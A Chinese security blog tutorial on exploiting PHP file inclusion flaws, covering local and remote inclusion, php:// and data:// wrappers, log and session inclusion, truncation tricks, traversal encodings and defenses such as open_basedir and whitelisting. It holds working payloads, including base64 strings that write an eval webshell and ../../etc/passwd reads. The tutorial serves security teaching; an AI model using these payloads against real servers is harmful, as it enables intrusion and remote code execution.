CA01H'S BLOG

文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2019-11-15   3.1k

Web安全学习之文件包含漏洞利用

这一篇主要来聊一聊PHP的文件包含漏洞，主要包括本地文件包含（Local File Inclusion，LFI）、远程文件包含（Remote File Inclusion， RFI）和PHP伪协议的利用。

文件包含的基本概念

严格来说，文件包含漏洞是代码注入的一种，其原理就是注入一段用户能控制的脚本或代码，使服务器端执行。至于文件包含，也就是一种“外部数据流包含”，这个外部数据流可以是文件，也可以是POST数据流的形式。

对于PHP具体而言，有４个可利用的函数：

1
2
3
4
require()
require_once()
include()
include_once()

当使用这4个函数包含一个新文件时该文件将作为PHP代码执行，PHP内核并不会判断该被包含的文件是什么类型。也就是说，如果被包含的txt文件、图片文件、远程URL都会作为PHP代码被执行。

举一个最简单的例子来看看：

1
2
3
<?php
include($_GET[test]);    
?>

fortest.txt文件内容：

1
2
3
4
for test
<?php
phpinfo();
?>

页面结果：

要想成功利用文件包含漏洞，需要满足下面两个条件：

  1. include()等函数通过动态变量的方式引入需要包含的文件；
  2. 用户能控制该动态变量。

远程文件包含

如果PHP的配置选项allow_url_include为ON的话，则include/require函数是可以加载远程文件的，这种漏洞称为远程文件包含漏洞，比如：

1
2
3
4
<?php
    $basePath = $_GET['path'];
	require_once $basePath . "/action/m_share.php"
?>

上面的代码看似将路径的后半段已经规定了，但利用HTTP参数还是有办法绕过：

1
http://localhost/FileInclude/index.php?path=http://localhost/test/solution.php?

所以实际的执行代码就是：

1
require_once "http://localhost/FileInclude/index.php?path=http://localhost/test/solution.php?/action/m_share.php"

即，问号"?"后面的代码被解释成URL的querystring，这也是一种"截断"思想，和%00一样。

防御方法：关闭远程文件包含的配置错误，即allow_url_include = Off

本地文件包含

能过打开并包含本地文件的漏洞，被称为本地文件包含漏洞。

看到这里，利用远程文件包含我们可以执行攻击者的任意代码，而本地文件包含漏洞只能查看或运行本地文件。但是，其实我们可以使用PHP的伪协议等方式来利用本地文件包含漏洞，接下来讲的是如下几种利用方式：

  • PHP伪协议（较为通用）
  • 包含Session文件
  • 包含日志（较为通用）
  • 包含environ文件
  • 包含临时文件
  • 包含上传文件

PHP伪协议

php://协议

1
2
php://input
php://filter

php://input用于执行PHP代码，php://filter用于读取源码。

php://filter

php://filter是一种元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来，只是读取，不需要开启allow_url_include。

用法：?file=php://filter/convert.base64-encode/resource=xxx.php

假设页面的源代码index.php为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
?>
</html>
1
2
3
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+

base64解密就可以看到内容，这里如果不进行base64_encode，则被include进来的代码就会被执行，导致看不到源代码。

php://input

php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST)，需要开启allow_url_include，并且当enctype="multipart/form-data"的时候 php://input是无效的。

利用方式：?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过，因为php伪协议也是可以利用http协议的，即可以使用POST方式传数据。

假设页面源代码为：

1
2
3
4
5
6
7
<?php
$file = $_GET['file'];
if (@file_get_content($file) == 'meizijiu') {
    echo $flag;
}
?>

直接使用Hackbar工具POST数据：

另外还可以写入一句话：

1
2
3
4
5
6
http://www.inc.com/inc.php?file=php://input
post数据:
<?php 
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

data://协议

php.ini：allow_url_include=On、allow_url_fopen()都为On

利用data://伪协议进行代码执行的思路原理和php://是类似的，都是利用了PHP中的流的概念，将原本的include的文件流重定向到了用户可控制的输入流中。

页面示例代码：

1
2
3
4
5
<?php
echo 'for test';
include($_GET['file']);
?>

1
2
3
4
5
6
http://www.inc.com/inc.php?file=data://text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data:text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==

最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中，如图：

phar://协议

php版本 ≥ 5.3

phar://：PHP 归档，常常跟文件包含，文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀，可以通过以下方式进行利用。

利用方式：写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php

假设有个文件phpinfo.txt，其内容为<?php phpinfo(); ?>，打包成zip压缩包，如下：

指定绝对路径：

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

zip://协议

php版本 ≥ 5.3

利用和构造zip包的方法同phar://协议，但使用zip协议，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件。

1
2
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

包含Session文件

前提条件：Session文件路径已知，且其中内容的部分可控。

首先第一个条件：Session的文件路径可以在php.ini中的session.save_handler字段查看到：

一般而言，session文件的存放位置为：

  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

第二个条件：内容可控，这个要求较为苛刻，有些时候，可以先包含进session文件，观察里面的内容，然后根据里面的字段来发现可控的变量，从而利用变量来写入payload，并之后再次包含从而执行php代码。

包含日志文件

前提条件：要知道服务器日志的存储路径，且日志文件可读。

服务器一般回在Web Server的access_log里记录客户端的请求信息，在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件，在文件包含时，只需要包含日志文件即可。

但如果是直接发起请求，会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

正常的PHP代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

包含environ文件

/proc/self/environ文件里面有Web进程运行时的环境变量，其中很多都是用户可以控制的，最常见的做法就是在User-Agent中注入PHP代码。

这里有很完整的利用过程说明： https://www.exploit-db.com/papers/12886

包含临时文件

以上这些方法都要求PHP能过包含这些不处于Web目录下的文件，如果PHP设置了open_basedir，则很可能会使得攻击失效。

php中上传文件，会创建临时文件。在linux下使用/tmp目录，而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前，利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解，linux下使用的随机函数有缺陷，而window下只有65535中不同的文件名，所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables，可以直接获取到上传文件的存储路径和临时文件名，直接包含即可。这个方法可以参考[LFI With PHPInfo Assistance](https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf)

包含上传文件

就给一道CTF的题吧，最近在玩这个，膜拜一下大佬写的脚本。

XMAN夏令营-2017-babyweb-writeup

绕过方式

比如下面这段代码：

1
2
3
4
5
6
7
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    include '/home/wwwrun/'.$file.'.php';
}
?>

这段代码把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在几个问题。

00字符截断

这种方式需要 PHP版本<=5.2

用户能够控制file参数，当file的值为../../etc/passwd\0时，相当于执行了include '/home/wwwrun/../../etc/passwd'这条语句。

如果不适用\0截断的话，被包含的文件实际上是/etc/passwd.php，但这个文件自然是不存在的。所以在这个地方，攻击者只要在最后加入一个0字节（\x00），就能截断file变量之后的字符串。

如果是通过Web输入，只需要UrlEencode变为：

1
2
../../etc/passwd%00

防御方式：过滤\00截断字符，过滤代码如下：

1
2
3
4
5
6
7
8
9
10
11
<?php
function getVal($name)
{
    $value = isset($_GET[$name]) ? $_GET[$name] : null;
    if (is_string($value))
    {
        $value = str_replace("\0", '', $value);
    }
}
?>

超长字符截断

目录字符串在Windows下256字节、Linux下4096字节时，会达到最大值，最大值之后的字符被丢弃。可以通过./的方式构造目录：

1
2
3
4
././././././././././././abc
//////////////////abc
../1/abc../1/abc../1/abc

目录遍历

除了这种攻击方式，还可以使用"…/…/…/“这样的方式来返回到上层目录中，这种方式又被称为"目录遍历(Path Traversal)”。常见的目录遍历漏洞，还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) ：

1
2
3
4
5
6
7
8
9
%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\

防御方式

目录遍历漏洞是一种跨越目录读取文件的方法，但当PHP配置了open_basedir时，将很好地保护服务器，使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件。

需要注意的是，open_basedir的值是目录的前缀，如果设置如下：

1
open_basedir = /home/aaa

那么以下的目录都是被允许的：

1
2
3
/home/aaa
/home/aaa/bbb
/home/aaa/ccc

如果要限定一个指定的目录，则需要在后面加上一个/：

1
>open_basedir = /home/aaa/

URL绕过

query（?）

1
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php 。

问号后面的部分/test/test.php，也就是指定的后缀被当作query从而被绕过。

fragment(#)

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php 。

问号后面的部分/test/test.php，也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23。

防御方式

综上，要防御LFI的漏洞，应该尽量避免包含动态的变量，尤其是用户可以控制的变量。一种变通的方式，则是使用枚举：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
    $file = $_GET['file'];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>

Reference

  web安全->基础学习
 
Expand all Back to top Go to bottom
Copyright © ca01h 2019-2020 | 本站总访问量次